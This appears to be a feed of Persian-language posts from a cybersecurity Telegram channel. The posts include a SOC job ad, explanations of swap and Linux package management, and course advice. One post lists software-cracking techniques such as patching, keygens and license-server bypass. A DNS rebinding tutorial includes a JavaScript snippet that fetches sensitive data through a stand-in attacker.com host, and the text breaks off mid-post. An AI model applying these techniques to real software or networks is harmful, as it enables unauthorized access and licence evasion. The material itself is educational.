Security+
CCNA
LPIC-1
MCSA
#########
نحوه ارسال رزومه
[email protected]
@rajabee89
عنوان شغلی: کارشناس مرکز عملیات امنیت (SOC) - سطح ۱
موقعیت: حضوری - گیشا
نوع همکاری: تماموقت
رنج حقوقی : 30 - 35
بیمه تامین اجتماعی از روز اول
بیمه درمان تکمیلی از روز اول
مزایای قانونی
بسته هدایا شرکتی
پاداش و کارانه
پزشک سازمانی
درباره موقعیت شغلی
ما به دنبال یک کارشناس SOC سطح ۱ برای پیوستن به تیم مرکز عملیات امنیت (SOC) هستیم تا در پایش و تحلیل تهدیدات امنیتی نقش کلیدی ایفا کند. اگر به امنیت سایبری علاقهمند هستید، اشتیاق یادگیری دارید و از حل چالشهای امنیتی لذت میبرید، این فرصت مناسب شماست!
مسئولیتهای اصلی
پایش داشبوردها و هشدارهای SIEM (مانند ELK، Splunk) و تحلیل آنها
تحلیل لاگهای امنیتی، ردیابی حملات و گزارش تهدیدات
انجام تریاژ اولیه هشدارها برای تشخیص مثبتهای واقعی از مثبتهای کاذب
بررسی رویدادهای امنیتی شبکه و سیستمها و ارجاع به سطوح بالاتر در صورت نیاز
همکاری در شناسایی تهدیدات، واکنش به حوادث امنیتی و تحلیل فارنزیک
پیکربندی و بهینهسازی ابزارهای پایش امنیتی
طراحی و بهروزرسانی داشبوردهای امنیتی، گزارشها و مستندات
ارتباط با کاربران در زمینه امنیت اطلاعات و تعامل با تیم service desk
#### مهارتها و شرایط مورد نیاز ####
۱ تا ۳ سال تجربه کاری در موقعیت مشابه
تجربه کار با ابزارهای SIEM (مانند Splunk، ELK، QRadar)
آشنایی با مفاهیم امنیت شبکه از جمله فایروالها، IDS/IPS، WAF و UTM
درک مناسب از لاگهای امنیتی ویندوز و لینوکس و روشهای شناسایی حملات
آشنایی با چارچوب MITRE ATT&CK و نحوه مدیریت رویدادهای امنیتی
آشنایی با ابزارهای تحلیل بستههای شبکه مانند Wireshark
آشنایی با زبانهای اسکریپتنویسی (PowerShell، Bash یا Python) امتیاز محسوب میشود
مدارک و گواهینامههای ترجیحی
(داشتن این مدارک الزامی نیست اما یک مزیت محسوب میشود)
CEH
PWK
Security+
CCNA
LPIC-1
MCSA
#########
نحوه ارسال رزومه
[email protected]
@rajabee89
( ربطی به مبحث چنل نداره ولی دیدم این مبحث معماری کامپیوتر جذابه 🦦)
Swap (سواپ):
سواپ یه فرآیندیه که در آن سیستم عامل اون prosses که به طور فعال استفاده نمیشوند را از (RAM) به فضای ( Virtual memory)( یه حافظه مجازی ) منتقل میکند. این یک روش برای مدیریت حافظه است و به سیستم اجازه میدهد تا بیش از ظرفیت فیزیکی RAM خود به نظر برسد. سواپ عمدتاً زمانی اتفاق میافتد که Ram پر شود و به فضای بیشتری برای اجرای برنامهها نیاز باشد و معمولا افزایش یا کاهش Swap دست خودمونه.
خب حالا یه سوال پیش میاد ؟
من میتونم هر برنامه ای مثلا یه گیم با 20 گیگ رم رو تویه سیستم با 8 گیگ رم اجرا کنم؟
نه ، چند تا بحث هس :
اولیش اینه که یه مفهومی هس به اسم ( working set ) و نشون میده که یه مجموعهای از صفحات حافظه ( page tables ) است که یک پروسه در طول یک دوره زمانی خاص به آنها دسترسی دارد یا از آنها استفاده میکند ( اصل لوکالیتی) .
حالا چون برنامه یه سری پروسه ها رو نیاز داره و باید اجرا بشه دنبالش تویه RAM میگرده و پیداش نمیکنه ( اصطلاحا میگن miss خورده) و حالا باید بره از Virtual memory بیاره که اوردر پیدا کردن و آوردنش خیلی بیشتر از پیدا کردن تویه خود ram هست و سرعتو کاهش میده
و یه مسئله دیگه هم اینه که برخی از برنامهها به گونهای طراحی شدهاند که نیاز به مقدار مشخصی از RAM دارند و عملکرد صحیح آنها در صورت کمبود RAM به شدت تحت تأثیر قرار میگیرد یا اصلاً اجرا نمیشن
خب حالا از کجا میفهمه من اونقدر حجم ندارم ؟
برنامهها هنگام اجرا میتوانند درخواست حافظه کنند. اگر سیستم عامل نتواند این مقدار حافظه را فوراً تخصیص دهد (چه به دلیل کمبود RAM، چه نیاز به سواپ کردن دادهها)، برنامه ممکن است با خطا یا کاهش عملکرد مواجه بشه
یا اینکه کلا برنامه میتونه از طریق API های سیستم عامل مقدار حجم ram رو ببینه مثلا تویه لینوکس : /proc/meminfo
Swap (سواپ):
سواپ یه فرآیندیه که در آن سیستم عامل اون prosses که به طور فعال استفاده نمیشوند را از (RAM) به فضای ( Virtual memory)( یه حافظه مجازی ) منتقل میکند. این یک روش برای مدیریت حافظه است و به سیستم اجازه میدهد تا بیش از ظرفیت فیزیکی RAM خود به نظر برسد. سواپ عمدتاً زمانی اتفاق میافتد که Ram پر شود و به فضای بیشتری برای اجرای برنامهها نیاز باشد و معمولا افزایش یا کاهش Swap دست خودمونه.
خب حالا یه سوال پیش میاد ؟
من میتونم هر برنامه ای مثلا یه گیم با 20 گیگ رم رو تویه سیستم با 8 گیگ رم اجرا کنم؟
نه ، چند تا بحث هس :
اولیش اینه که یه مفهومی هس به اسم ( working set ) و نشون میده که یه مجموعهای از صفحات حافظه ( page tables ) است که یک پروسه در طول یک دوره زمانی خاص به آنها دسترسی دارد یا از آنها استفاده میکند ( اصل لوکالیتی) .
حالا چون برنامه یه سری پروسه ها رو نیاز داره و باید اجرا بشه دنبالش تویه RAM میگرده و پیداش نمیکنه ( اصطلاحا میگن miss خورده) و حالا باید بره از Virtual memory بیاره که اوردر پیدا کردن و آوردنش خیلی بیشتر از پیدا کردن تویه خود ram هست و سرعتو کاهش میده
و یه مسئله دیگه هم اینه که برخی از برنامهها به گونهای طراحی شدهاند که نیاز به مقدار مشخصی از RAM دارند و عملکرد صحیح آنها در صورت کمبود RAM به شدت تحت تأثیر قرار میگیرد یا اصلاً اجرا نمیشن
خب حالا از کجا میفهمه من اونقدر حجم ندارم ؟
برنامهها هنگام اجرا میتوانند درخواست حافظه کنند. اگر سیستم عامل نتواند این مقدار حافظه را فوراً تخصیص دهد (چه به دلیل کمبود RAM، چه نیاز به سواپ کردن دادهها)، برنامه ممکن است با خطا یا کاهش عملکرد مواجه بشه
یا اینکه کلا برنامه میتونه از طریق API های سیستم عامل مقدار حجم ram رو ببینه مثلا تویه لینوکس : /proc/meminfo
کدام یک از روش های زیر برای شناسایی حملات (MitM)Man-in-the-middle در ارتباطات شبکه آب با استفاده از HTTPS مناسب تر است
Anonymous Quiz
35%
الف ) با استفاده از self-signed Certificates برای تایید هویت سرور
29%
ب) استفاده از HTTP Strict Transport Security (HSTS) برای اطمینان از استفاده همیشگی از HTTPS
29%
ج ) بررسی اختلاف زمانی میان گواهی نامه SSL و زمان سیستم
6%
د ) بررسی طول عمر گواهی نامه SSL سرور از طریق یک لیست سفید مشخص
با فرض داشتن دانش لازم مقدماتی که قبلا توی نقشه های راه تو همین کانال توضیح دادم :
اگر وارد حوزه امنیت میخایین بشین پیشنهاد من دوره CEH است
اما اگر مقدمات امنیت رو کار کردین پیشنهاد من همین دوره OSCP هستش (خصوصا اگر قصد استخدام تو شرکتهایی هستین که نفر امنیتی میخان)
{متاسفانه تو اموزشگاه ها سرسری از روی مباحث این دوره میگذرن و در حد کار کردن با چند تا از ابزارهای کالی میدونن اما واقعا یه دوره خوب و قابل اتوجه هستش خصوصا برای کسانی که میخان وارد تست نفوذ شبکه بشن هر چند ماحث وب هم داره}
پس اگر میخایین به عنوان نیروی جونیور وارد شرکتهایی بشین که پوزیشن باز امنیتی دارن بهترین گزینه است
اما اگر میخایین وارد حوزه وب تخصصی بشین پیشنهادم دوره تست نفوذ وبه که در حال برگزاریه
دوره های تخصصی دیگه که در حال برگزاریه و مناسب کسانی که تازه کار هستن نیس متاسفانه
(هیشکی از پول گرفتن بدش نمیاد اما دوره های دیگه من مناسب افراد تازه کار نیس و پول هدر دادنه برای شما)
خیلی از کاربران چندین وقته این سوالات رو میپرسن گفتم یه جا توی یه پست همه اون سوالات رو یه جا جواب بدم
اگر وارد حوزه امنیت میخایین بشین پیشنهاد من دوره CEH است
اما اگر مقدمات امنیت رو کار کردین پیشنهاد من همین دوره OSCP هستش (خصوصا اگر قصد استخدام تو شرکتهایی هستین که نفر امنیتی میخان)
{متاسفانه تو اموزشگاه ها سرسری از روی مباحث این دوره میگذرن و در حد کار کردن با چند تا از ابزارهای کالی میدونن اما واقعا یه دوره خوب و قابل اتوجه هستش خصوصا برای کسانی که میخان وارد تست نفوذ شبکه بشن هر چند ماحث وب هم داره}
پس اگر میخایین به عنوان نیروی جونیور وارد شرکتهایی بشین که پوزیشن باز امنیتی دارن بهترین گزینه است
اما اگر میخایین وارد حوزه وب تخصصی بشین پیشنهادم دوره تست نفوذ وبه که در حال برگزاریه
دوره های تخصصی دیگه که در حال برگزاریه و مناسب کسانی که تازه کار هستن نیس متاسفانه
(هیشکی از پول گرفتن بدش نمیاد اما دوره های دیگه من مناسب افراد تازه کار نیس و پول هدر دادنه برای شما)
خیلی از کاربران چندین وقته این سوالات رو میپرسن گفتم یه جا توی یه پست همه اون سوالات رو یه جا جواب بدم
2/3
پکیج منیجرها در لینوکس: داینامیک ریپازیتوری و بهینگی Dependencyها
در اکوسیستم لینوکس، سیستمهای مدیریت پکیج (مثل apt، dnf، pacman) با مکانیزمی متمرکز و بهینه عمل میکنن. هر پکیج به شکل صریح لیست وابستگیهاش رو توی متادیتای خودش تعریف میکنه. وقتی دستور نصب اجرا میشه، پکیج منیجر به شکل خودکار:
1. Dependencyهای لازم رو از ریپازیتوریهای مرکزی پیدا میکنه.
2. بررسی میکنه که آیا نسخههای نصبشده فعلی با نیازمندیهای پکیج جدید Compatible (سازگار) هستن یا نه.
3. در صورت نیاز، آپگرید یا دانگرید کتابخونهها رو انجام میده تا تضمین کنه همه چیز بدون Conflict (تداخل) کار میکنه.
مثلاً نصب یک وبسرور مثل nginx روی لینوکس باعث میشه پکیج منیجر به شکل خودکار کتابخونههای ضروری مثل libpcre، openssl و zlib رو نصب کنه. اگر نسخههای موجود قدیمی باشن، پکیج منیجر نسخههای آپدیت شده رو از ریپازیتوری میاره. این فرایندها روی پکیجهای باینری و متادیتاهای Precompiled (ازپیش-کامپایلشده) تکیه دارن که Dependency Resolution رو سریع و قابل پیشبینی میکنه.
چرا تداخل نسخهها به ندرت پیش میاد؟
- کتابخونهها در لینوکس معمولاً با Semantic Versioning نامگذاری میشن. مثلاً libfoo1.2 و libfoo2.0 میتونن همزمان نصب باشن بدون تداخل، چون اسم پکیجها متفاوته.
- سیستم مدیریت پکیج از Symbolic Links و SONAME (Shared Object Name) استفاده میکنه تا مطمئن شه برنامهها به نسخه صحیح لینک میشن. مثلاً اگر برنامه به libc.so.6 نیاز داره، لینک سمبولیک /lib/libc.so.6 به فایل واقعی مثل libc-2.31.so اشاره میکنه.
~>@pythonwithmedev
پکیج منیجرها در لینوکس: داینامیک ریپازیتوری و بهینگی Dependencyها
در اکوسیستم لینوکس، سیستمهای مدیریت پکیج (مثل apt، dnf، pacman) با مکانیزمی متمرکز و بهینه عمل میکنن. هر پکیج به شکل صریح لیست وابستگیهاش رو توی متادیتای خودش تعریف میکنه. وقتی دستور نصب اجرا میشه، پکیج منیجر به شکل خودکار:
1. Dependencyهای لازم رو از ریپازیتوریهای مرکزی پیدا میکنه.
2. بررسی میکنه که آیا نسخههای نصبشده فعلی با نیازمندیهای پکیج جدید Compatible (سازگار) هستن یا نه.
3. در صورت نیاز، آپگرید یا دانگرید کتابخونهها رو انجام میده تا تضمین کنه همه چیز بدون Conflict (تداخل) کار میکنه.
مثلاً نصب یک وبسرور مثل nginx روی لینوکس باعث میشه پکیج منیجر به شکل خودکار کتابخونههای ضروری مثل libpcre، openssl و zlib رو نصب کنه. اگر نسخههای موجود قدیمی باشن، پکیج منیجر نسخههای آپدیت شده رو از ریپازیتوری میاره. این فرایندها روی پکیجهای باینری و متادیتاهای Precompiled (ازپیش-کامپایلشده) تکیه دارن که Dependency Resolution رو سریع و قابل پیشبینی میکنه.
چرا تداخل نسخهها به ندرت پیش میاد؟
- کتابخونهها در لینوکس معمولاً با Semantic Versioning نامگذاری میشن. مثلاً libfoo1.2 و libfoo2.0 میتونن همزمان نصب باشن بدون تداخل، چون اسم پکیجها متفاوته.
- سیستم مدیریت پکیج از Symbolic Links و SONAME (Shared Object Name) استفاده میکنه تا مطمئن شه برنامهها به نسخه صحیح لینک میشن. مثلاً اگر برنامه به libc.so.6 نیاز داره، لینک سمبولیک /lib/libc.so.6 به فایل واقعی مثل libc-2.31.so اشاره میکنه.
~>@pythonwithmedev
Telegram
🧑💻Cyber.vision🧑💻
Python tips and tricks
The Good, Bad and the Ugly
متخصص امنیت شبکه های کنترل صنعتی
👨💻این کانال یک بلاگ شخصی هست و پیرامون نظرات و چیزهایی که توی این چند سال کد زدن یاد گرفتم (فقط برای کمک به دوستان تازهکار)
https://t.iss.one/Hacker0x01
The Good, Bad and the Ugly
متخصص امنیت شبکه های کنترل صنعتی
👨💻این کانال یک بلاگ شخصی هست و پیرامون نظرات و چیزهایی که توی این چند سال کد زدن یاد گرفتم (فقط برای کمک به دوستان تازهکار)
https://t.iss.one/Hacker0x01
کرک کردن نرمافزار یعنی دور زدن یا غیرفعال کردن مکانیزمهای امنیتی یک نرمافزار برای استفاده بدون مجوز، روشهای کرک کردن نرمافزار شامل موارد زیر میشه:
1 پچ کردن (Patching)
در این روش، فایلهای اجرایی نرمافزار (مثل .exe یا .dll) دستکاری میشن تا مکانیزمهای امنیتی مثل بررسی سریال یا لایسنس دور زده بشن معمولاً با ابزارهایی مثل OllyDbg، x64dbg یا IDA Pro انجام میشه
2 کیجن (Keygen)
کیجن (Key Generator) نرمافزاری است که یک سریال معتبر برای فعالسازی برنامه تولید میکنه معمولاً با تحلیل الگوریتم تولید کلید در نرمافزار اصلی ساخته میشه
3 سریال جعلی (Fake Serial)
بعضی از برنامهها بهصورت ساده یک سریال مشخص رو قبول میکنن کرکرها این سریال رو پیدا کرده و منتشر میکنن
4 امولیتور Dongle
بعضی نرمافزارها برای اجرا به یک دانگل سختافزاری نیاز دارن کرکرها دانگل رو با نرمافزار شبیهسازی (emulator) جایگزین میکنند تا نرمافزار فکر کند دانگل متصله
5 مهندسی معکوس (Reverse Engineering)
در این روش، سورسکد باینری برنامه بررسی و تحلیل میشه تا مکانیزم امنیتی اون شناسایی و دور زده شه
6 تغییرات رجیستری Registry changes
بعضی از نرمافزارها اطلاعات لایسنس رو در رجیستری ویندوز ذخیره میکنن با تغییر کلیدهای رجیستری میتونیم اون ها رو فعال کتیم
7 دور زدن سرور تایید لایسنس (License Server Bypass)
در این روش، ارتباط نرمافزار با سرور لایسنس مسدود شده یا به یک سرور جعلی هدایت میشه که پاسخهای معتبر ارسال میکننه
8 دیکامپایل و اصلاح سورس کد
در برخی زبانهای سطح بالا (مثل جاوا، پایتون، C#)، باینریهای برنامه رو میتونیم دیکامپایل کنیم و مستقیما کد را تغییر بدیم
9 مانیتورینگ API
کرکرها با ابزارهایی مثل API Monitor یا Process Hacker درخواستهای نرمافزار را بررسی میکنن تا بخشهایی که لایسنس رو بررسی میکند شناسایی و دستکاری کنن
10 حملات Brute Force
در برخی موارد که نرمافزار از مکانیزمهای سادهای برای اعتبارسنجی استفاده میکنه میتونیم با امتحان کردن ترکیبهای مختلف، رمز عبور یا سریال صحیح رو پیدا کنیم
1 پچ کردن (Patching)
در این روش، فایلهای اجرایی نرمافزار (مثل .exe یا .dll) دستکاری میشن تا مکانیزمهای امنیتی مثل بررسی سریال یا لایسنس دور زده بشن معمولاً با ابزارهایی مثل OllyDbg، x64dbg یا IDA Pro انجام میشه
2 کیجن (Keygen)
کیجن (Key Generator) نرمافزاری است که یک سریال معتبر برای فعالسازی برنامه تولید میکنه معمولاً با تحلیل الگوریتم تولید کلید در نرمافزار اصلی ساخته میشه
3 سریال جعلی (Fake Serial)
بعضی از برنامهها بهصورت ساده یک سریال مشخص رو قبول میکنن کرکرها این سریال رو پیدا کرده و منتشر میکنن
4 امولیتور Dongle
بعضی نرمافزارها برای اجرا به یک دانگل سختافزاری نیاز دارن کرکرها دانگل رو با نرمافزار شبیهسازی (emulator) جایگزین میکنند تا نرمافزار فکر کند دانگل متصله
5 مهندسی معکوس (Reverse Engineering)
در این روش، سورسکد باینری برنامه بررسی و تحلیل میشه تا مکانیزم امنیتی اون شناسایی و دور زده شه
6 تغییرات رجیستری Registry changes
بعضی از نرمافزارها اطلاعات لایسنس رو در رجیستری ویندوز ذخیره میکنن با تغییر کلیدهای رجیستری میتونیم اون ها رو فعال کتیم
7 دور زدن سرور تایید لایسنس (License Server Bypass)
در این روش، ارتباط نرمافزار با سرور لایسنس مسدود شده یا به یک سرور جعلی هدایت میشه که پاسخهای معتبر ارسال میکننه
8 دیکامپایل و اصلاح سورس کد
در برخی زبانهای سطح بالا (مثل جاوا، پایتون، C#)، باینریهای برنامه رو میتونیم دیکامپایل کنیم و مستقیما کد را تغییر بدیم
9 مانیتورینگ API
کرکرها با ابزارهایی مثل API Monitor یا Process Hacker درخواستهای نرمافزار را بررسی میکنن تا بخشهایی که لایسنس رو بررسی میکند شناسایی و دستکاری کنن
10 حملات Brute Force
در برخی موارد که نرمافزار از مکانیزمهای سادهای برای اعتبارسنجی استفاده میکنه میتونیم با امتحان کردن ترکیبهای مختلف، رمز عبور یا سریال صحیح رو پیدا کنیم
👍2
This media is not supported in your browser
VIEW IN TELEGRAM
ویروس کامپیوتری پوزست
3/3
مقایسه تکنیکال: Static Linking vs Dynamic Linking
- ویندوز (غالباً Static/خودمحور): برنامهها ترجیح میدن تا حد امکان از کتابخونههای اختصاصی یا Static-Linked استفاده کنن تا Dependencyها رو به حداقل برسونن. نتیجه؟ حجم بالای فایلهای EXE و نصبِ تکراری کتابخونهها (مثل چندین نسخه از VC++ Redistributable).
- لینوکس (غالباً Dynamic/متمرکز): پکیجها به کتابخونههای داینامیک وابسته میشن که فقط یک بار نصب میشن و بین همه برنامهها به اشتراک گذاشته میشن. حجم نهایی سیستم کمتر میشه و آپدیت امنیتی یک کتابخونه، همه برنامههای وابسته رو تحت پوشش قرار میده.
آمار و فکتهای کلیدی:
- توی ویندوز ۱۰، بیش از ۱۵ نسخه مختلف از Visual C++ Redistributable ممکنه نصب باشه که هر کدوم بین ۲۰MB تا ۱۰۰MB فضا اشغال میکنن.
- توی لینوکس، پکیج libc6 (کتابخونه استاندارد سی) فقط یک بار نصب میشه و بیش از ۸۵٪ از پکیجهای موجود در ریپازیتوریهای معتبر بهش وابستهان. حجم این پکیج حدود ۴MB هستش.
- بر اساس مستندات فنی، سیستمهای مدیریت پکیج لینوکس از الگوریتمهای پیشرفته برای Dependency Resolution استفاده میکنن تا ناسازگاری نسخهها رو حذف کنن.
نکته فنی: مکانیزم کش (Cache) پکیج منیجرها در دایرکتوریهای خاصی (مثل /var/lib/apt/lists یا /var/cache/dnf) لیستی از تمام پکیجها و وابستگیهاشون رو نگه میداره. وقتی دستور آپدیت میدی، این کش با ریپازیتوری همگامسازی میشه و Dependencyها روی آخرین نسخهها چک میشن. توی ویندوز، چنین سیستمی به صورت مرکزی وجود نداره و هر برنامه جداگانه چک میکنه آپدیت جدیدی واسه DLLهای خاص خودش هست یا نه.
مسئله Checksum و امنیت:
پکیج منیجرهای لینوکس به صورت پیشفرض از الگوریتمهای هشینگ مثل SHA-256 برای تأیید یکپارچگی پکیجها استفاده میکنن. هر پکیج قبل از نصب، بررسی میشه تا مطمئن شه با نسخه موجود در ریپازیتوری مطابقت داره. توی ویندوز، اگرچه امضای دیجیتال برای فایلهای اجرایی وجود داره، اما هیچ سیستم متمرکزی برای بررسی یکپارچگی DLLهای سیستمی تعریف نشده.
مقایسه تکنیکال: Static Linking vs Dynamic Linking
- ویندوز (غالباً Static/خودمحور): برنامهها ترجیح میدن تا حد امکان از کتابخونههای اختصاصی یا Static-Linked استفاده کنن تا Dependencyها رو به حداقل برسونن. نتیجه؟ حجم بالای فایلهای EXE و نصبِ تکراری کتابخونهها (مثل چندین نسخه از VC++ Redistributable).
- لینوکس (غالباً Dynamic/متمرکز): پکیجها به کتابخونههای داینامیک وابسته میشن که فقط یک بار نصب میشن و بین همه برنامهها به اشتراک گذاشته میشن. حجم نهایی سیستم کمتر میشه و آپدیت امنیتی یک کتابخونه، همه برنامههای وابسته رو تحت پوشش قرار میده.
آمار و فکتهای کلیدی:
- توی ویندوز ۱۰، بیش از ۱۵ نسخه مختلف از Visual C++ Redistributable ممکنه نصب باشه که هر کدوم بین ۲۰MB تا ۱۰۰MB فضا اشغال میکنن.
- توی لینوکس، پکیج libc6 (کتابخونه استاندارد سی) فقط یک بار نصب میشه و بیش از ۸۵٪ از پکیجهای موجود در ریپازیتوریهای معتبر بهش وابستهان. حجم این پکیج حدود ۴MB هستش.
- بر اساس مستندات فنی، سیستمهای مدیریت پکیج لینوکس از الگوریتمهای پیشرفته برای Dependency Resolution استفاده میکنن تا ناسازگاری نسخهها رو حذف کنن.
نکته فنی: مکانیزم کش (Cache) پکیج منیجرها در دایرکتوریهای خاصی (مثل /var/lib/apt/lists یا /var/cache/dnf) لیستی از تمام پکیجها و وابستگیهاشون رو نگه میداره. وقتی دستور آپدیت میدی، این کش با ریپازیتوری همگامسازی میشه و Dependencyها روی آخرین نسخهها چک میشن. توی ویندوز، چنین سیستمی به صورت مرکزی وجود نداره و هر برنامه جداگانه چک میکنه آپدیت جدیدی واسه DLLهای خاص خودش هست یا نه.
مسئله Checksum و امنیت:
پکیج منیجرهای لینوکس به صورت پیشفرض از الگوریتمهای هشینگ مثل SHA-256 برای تأیید یکپارچگی پکیجها استفاده میکنن. هر پکیج قبل از نصب، بررسی میشه تا مطمئن شه با نسخه موجود در ریپازیتوری مطابقت داره. توی ویندوز، اگرچه امضای دیجیتال برای فایلهای اجرایی وجود داره، اما هیچ سیستم متمرکزی برای بررسی یکپارچگی DLLهای سیستمی تعریف نشده.
با سلام و وقت بخیر آکادمی راوین شعبه استان خوزستان جهت تکمیل کادر خود قصد دارد از ظرفیت های بومی استان برای جذب در آکادمی استفاده کنند چنانچه که دوستانی هستند که در حوزه های امنیت سایبری سابقه کار دارند و یا در حال اموزش هستند جهت استعداد سنجی و تکمیل کادر اموزشی به ایدی بنده که در بیو چنل قرار داده شده پیام داده و رزومه خودشان را برای بنده ارسال کنند تا بررسی های لازم انجام شود.
آسیب پذیری DNS Rebinding =
قبل از شروع باید یه سری پیش نیاز هارو باهم مرور کنیم:
⁉️حالا DNS Rebinding چی هست؟
یه متود برای دور زدن مکانیزم های امنیتی که بر اساس hostname کار میکنن. توی web application ها برای bypass کردن SSRF و SOP استفاده میشه.
1️⃣ استفاده از DNS Rebinding برای بایپس SSRF :
وقتی از DNS Rebinding تو SSRF استفاده میکنیم که نزاره به آیپی های داخلی درخواست بزنیم، حالا چطور؟
چند تا روش هست برای جلوگیری از ارسال درخواست به شبکه داخلی تو SSRF:
اگه تا این حد امن شده باشه، هکر میتونه از HTTP redirect ها استفاده کنه و داخل سورس کدش به 127.0.0.1 redirect بشه. اما این روش در صورتی جواب میده که follow redirect انجام بشه و قبل از ارسال درخواست توسط فانکشن آسیب پذیر به SSRF، ری دایرکت به 127.0.0.1 انجام بشه.
اگه همه این روش ها جواب نداد، تنها راهی که باقی میمونه برای بایپس DNS Rebinding هست.
❗️مراحل DNS rebinding برای بایپس SSRF :
❓حالا اینو چطور انجامش بدیم؟
میتونیم از سایت زیر استفاده کنیم که یه ساب دامنه بهمون میده با دوتا آیپی که میتونیم خودمون بهش بگیم به کدوم آیپی ها resolve بشه
#DNS_Rebinding
قبل از شروع باید یه سری پیش نیاز هارو باهم مرور کنیم:
1. یه دامنه میتونه چندین رکورد A داشته باشه و در نتیجه به چندین آیپی resolve بشه. اولویت ها بر اساس آیپی هایی هست که بالاتر قرار دارن و اگه آیپی اولی جواب نده از آیپی بعدی استفاده میشه.
2. هر DNS response که دریافت میکنیم یک TTL داره که بر حسب ثانیه کار میکنه و مقدار زمانی که داخلش تعریف شده تو سیستم ما cache میشه. مثلا اگه سایت google.com رو باز کنیم و TTL 100 رو داشته باشه، IP این سایت که تو فرایند name resolution به دست اومده تا 100 ثانیه تو سیستم ما ذخیره میشه.
3. مفهوم Same Origin Policy و SSRF رو تو پست های قبلی توضیح دادم که پیشنهاد میکنم مرورشون کنین.
⁉️حالا DNS Rebinding چی هست؟
یه متود برای دور زدن مکانیزم های امنیتی که بر اساس hostname کار میکنن. توی web application ها برای bypass کردن SSRF و SOP استفاده میشه.
1️⃣ استفاده از DNS Rebinding برای بایپس SSRF :
وقتی از DNS Rebinding تو SSRF استفاده میکنیم که نزاره به آیپی های داخلی درخواست بزنیم، حالا چطور؟
چند تا روش هست برای جلوگیری از ارسال درخواست به شبکه داخلی تو SSRF:
1. استفاده از blacklist IP ها، یعنی لیستی از آیپی های داخلی رو به عنوان blacklist تعریف کنیم.
2. اول روی ورودی کاربر DNS resolution انجام بدیم و روی آیپی آن blacklist check رو انجام بدیم. برای مثال هکر یه دامنه بالا میاره به اسم dns.attacker.com که به آیپی 127.0.0.1 اشاره میکنه. با این روش جلوش گرفته میشه.
اگه تا این حد امن شده باشه، هکر میتونه از HTTP redirect ها استفاده کنه و داخل سورس کدش به 127.0.0.1 redirect بشه. اما این روش در صورتی جواب میده که follow redirect انجام بشه و قبل از ارسال درخواست توسط فانکشن آسیب پذیر به SSRF، ری دایرکت به 127.0.0.1 انجام بشه.
اگه همه این روش ها جواب نداد، تنها راهی که باقی میمونه برای بایپس DNS Rebinding هست.
❗️مراحل DNS rebinding برای بایپس SSRF :
1. هکر یه دامنه بالا میاره به اسم attacker.com که به 2 تا آیپی resolve میشه، اولی آیپی سرور خودش و دومی آیپی لوکالی که قصد داره بهش درخواست بزنه. TTL رو هم خیلی کم ست میکنه.
2. به عنوان ورودی attacker.com رو به تارگت میده و تابع میاد بررسی میکنه میبینه که آیپیش local نیست و ازش عبور میکنه.
3. قبل از اینکه کد برنامه برسه به جایی که درخواست HTTP رو ارسال میکنه، زمان cache یا همون TTL بخاطر پایین بودن تموم میشه و تابعی که آسیب پذیره به SSRF مجبور میشه درخواست name resolution ارسال کنه برای attacker.com تا آیپی رو به دست بیاره و این دفعه attacker.com به یه آیپی local اشاره میکنه.
4. درخواست HTTP به آیپی local ارسال میشه.
❓حالا اینو چطور انجامش بدیم؟
میتونیم از سایت زیر استفاده کنیم که یه ساب دامنه بهمون میده با دوتا آیپی که میتونیم خودمون بهش بگیم به کدوم آیپی ها resolve بشه
https://lock.cmpxchg8b.com/rebinder.html
#DNS_Rebinding
🧑💻Cyber.vision🧑💻
آسیب پذیری DNS Rebinding = قبل از شروع باید یه سری پیش نیاز هارو باهم مرور کنیم: 1. یه دامنه میتونه چندین رکورد A داشته باشه و در نتیجه به چندین آیپی resolve بشه. اولویت ها بر اساس آیپی هایی هست که بالاتر قرار دارن و اگه آیپی اولی جواب نده از آیپی بعدی استفاده…
2️⃣ استفاده از DNS Rebinding برای بایپس SOP :
طبق فلوی مرحله قبل میتونیم Hostname رو تغییر بدیم و از این تکنیک میتونیم برای بایپس SOP هم استفاده کنیم.
ولی منظور ما بایپس SOP برای دسترسی به web application های internal هست. مثلا کاربر یه کمپانی داخل شبکه داخلیش روی آیپی 192.168.1.20 یه web application راه اندازی کرده که فکر میکنه بخاطر local بودن هکر نمیتونه بهش دسترسی داشته باشه. ولی هکر با استفاده از DNS rebinding میتونه SOP رو بایپس کنه و بهش دسترسی داشته باشه.
❗️فلوی بایپس SOP با DNS Rebinding :
کدی که لود شده روی مرورگر، بعد از 5 ثانیه یه درخواست برای attacker.com میفرسته ولی بدلیل TTL کم، cache تموم شده و مرورگر کاربر مجبور میشه دوباره درخواست ارسال کنه برای اینکه آیپی شو به دست بیاره و این دفعه آیپی 192.168.1.20 به عنوان رکورد A دامنه هکر برای قربانی برمیگرده.
تو همین زمان مرورگر قربانی یه درخواست برای مسیر
❗️چند تا نکته مهم :
⁉️چه زمانی DNS rebinding نمیتونه SOP رو bypass کنه؟
#DNS_Rebinding
طبق فلوی مرحله قبل میتونیم Hostname رو تغییر بدیم و از این تکنیک میتونیم برای بایپس SOP هم استفاده کنیم.
ولی منظور ما بایپس SOP برای دسترسی به web application های internal هست. مثلا کاربر یه کمپانی داخل شبکه داخلیش روی آیپی 192.168.1.20 یه web application راه اندازی کرده که فکر میکنه بخاطر local بودن هکر نمیتونه بهش دسترسی داشته باشه. ولی هکر با استفاده از DNS rebinding میتونه SOP رو بایپس کنه و بهش دسترسی داشته باشه.
❗️فلوی بایپس SOP با DNS Rebinding :
1. هکر دامنه attacker.com رو بالا میاره که همچنان دوتا IP داره یکی به سرور هکر اشاره میکنه که داخلش کدهای مخرب JavaScript قرار داره و یکی هم به IP داخلی ای اشاره میکنه که قربانی روی اون آیپی تو شبکه داخلیش یه web application داره. و همچنین TTL هم کم در نظر گرفته میشه.
2. هکر آدرس دامنه رو به قربانی میده و بعد از name resolution قربانی برای آیپی سرور مخرب درخواست ارسال میکنه و کدهای JavaScript روی مرورگرش لود میشه.
function attemptRequest() {
const xhr = new XMLHttpRequest();
xhr.open('GET', `https://attacker.com/sensitive_information_path`, true);
xhr.onload = function () {
console.log('Response:', xhr.responseText);
};
xhr.onerror = function () {
console.log('Request failed');
};
xhr.send();
}
setTimeout(attemptRequest, 5000);
کدی که لود شده روی مرورگر، بعد از 5 ثانیه یه درخواست برای attacker.com میفرسته ولی بدلیل TTL کم، cache تموم شده و مرورگر کاربر مجبور میشه دوباره درخواست ارسال کنه برای اینکه آیپی شو به دست بیاره و این دفعه آیپی 192.168.1.20 به عنوان رکورد A دامنه هکر برای قربانی برمیگرده.
تو همین زمان مرورگر قربانی یه درخواست برای مسیر
sensitive_information_path
